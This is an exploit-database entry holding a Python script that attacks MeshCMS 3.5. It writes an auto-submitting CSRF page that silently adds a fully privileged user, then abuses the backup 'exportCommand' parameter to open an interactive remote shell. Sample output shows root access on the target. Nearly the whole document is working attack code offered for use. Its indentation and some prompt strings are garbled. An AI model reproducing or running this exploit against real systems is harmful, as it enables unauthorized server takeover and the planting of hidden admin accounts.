MeshCMS v3.5 Remote Code Execution Exploit

2011-01-17T00:00:00
ID 1337DAY-ID-15308
Type zdt
Reporter mr_me
Modified 2011-01-17T00:00:00

Description

Exploit for jsp platform in category web applications

                                        
                                            #!/usr/bin/python
# MeshCMS v3.5 remote code execution exploit
# Environment:
# Tomcat 7.02/ubuntu 10.04
#
# 1) details:
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker.
# The admin will not be told a user has been added and will land into the admin console without any other suspicion.
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the
# private/[username].xml config file required for the users authentication.
#
# 2) details:
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server.
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
#
# Further notes:
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
# This exploit will attempt to target both 1) and 2).
#
# Usage:
# [[email protected] meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
#   | ------------------------------------------ |
#   | MeshCMS v3.5 Remote Code Execution Explo!t |
#   | by mr_me - net-ninja.net ----------------- |
#
# (+) Writing CSRF..
# (!) Done! check index.html
# [[email protected] meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
#   | ------------------------------------------ |
#   | MeshCMS v3.5 Remote Code Execution Explo!t |
#   | by mr_me - net-ninja.net ----------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Logging into CMS.. Logged in successfully
# (+) Be patient, the first few requests are slow.
# (+) Entering interactive remote console (q for quit)
#
# [email protected]:8080# id
#
# uid=0(root) gid=0(root) groups=0(root)
#
# [email protected]:8080# uname -a
#
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
#
# [email protected]:8080# q
 
import sys, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar
 
usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"
 
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")
parser.add_option("-u", type="string", action="store", dest="username",
                  help="Member/Editor/Admin username")
parser.add_option("-P", type="string", action="store", dest="password",
                  help="Member/Editor/Admin password")
parser.add_option("-c", action="store_true", dest="csrf",
                  help="Create the add member CSRF")
parser.add_option("-e", action="store_true", dest="exploit",
                  help="Exploit the target with a shell (requires a valid account)")
 
(options, args) = parser.parse_args()
 
def banner():
    print "\n\t| ------------------------------------------ |"
    print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"
    print "\t| by mr_me - net-ninja.net ----------------- |\n"
 
if len(sys.argv) < 9:
    banner()
    parser.print_help()
    sys.exit(1)
 
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Microsoft Internet Explorer/4.0b1 (Windows 95)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
 
def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print "\n(-) Proxy timed out"
            sys.exit(1)
    return proxy_handler
     
def testProxy():
    sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
    sys.stdout.flush()
    opener = urllib2.build_opener(getProxy())
    try:
        check = opener.open("http://www.google.com").read()
    except:
        check = 0
        pass
    if check >= 1:
        sys.stdout.write("proxy is found to be working!\n")
        sys.stdout.flush()
    else:
        print "proxy failed, exiting.."
        sys.exit(1)
 
def writeCsrf():
    print "(+) Writing CSRF.."
    csrf = ("<html><body onload='document.f.submit()'>"
    "<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"
    "<input type=\"hidden\" name=\"new\" value=\"true\">"
    "<input type=\"hidden\" name=\"username\" value=\"%s\">"
    "<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"
    "<input type=\"hidden\" name=\"password1\" value=\"%s\">"
    "<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" %
    (options.target, options.dirPath, options.username, options.password, options.password))
    try:
        mycsrf = open("index.html", "w")
        mycsrf.write(csrf)
        mycsrf.close()
    except:
        print "(-) Failed writing csrf.. exiting."
    print "(!) Done! check index.html"
 
def interactiveAttack(opener):
    print "(+) Be patient, the first few requests are slow."
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%[email protected]%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                try:
            cmd = raw_input(hn)
            cmd = '+'.join(cmd.split())
            sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"
                "admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"
                % (options.target, options.dirPath, options.target, options.dirPath, cmd))
                try:
                        check = opener.open(sploit).read()
                except urllib2.HTTPError, error:
                        check = error.read()
                        pass
 
            try:
                resp = check.split("standard output:")[1].split("end of standard output")[0]       
                    print resp
            except:
                pass
 
        except:
            break
    print "\n(-) Exiting.."
 
def doLogin():
    sys.stdout.write("(+) Logging into CMS.. ")
    sys.stdout.flush()
    adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"
    values = {'username' : options.username, 'password' : options.password }
    data = urllib.urlencode(values)
    cj = CookieJar()
    if options.proxy:
        try:
            opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
            check = opener.open(adminIndex, data).read()
        except:
            print "\n(-) Proxy connection failed to remote target"
            sys.exit(1)
    else:
            try:
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            check = opener.open(adminIndex, data).read()
            except:
            print "(-) Target connection failed, check your address"
            sys.exit(1)
    if re.search("Login successful", check):
        sys.stdout.write("Logged in successfully\n")
        sys.stdout.flush()
    else:
        sys.stdout.write("Login Failed! Exiting..\n")
        sys.stdout.flush()
        sys.exit(1)
    return opener
 
if __name__ == "__main__":
    banner()
    if options.exploit:
        if options.proxy:
            testProxy()
        myopener = doLogin()
        interactiveAttack(myopener)
    elif options.csrf:
        writeCsrf()
        addadmin = ""



#  0day.today [2018-03-19]  #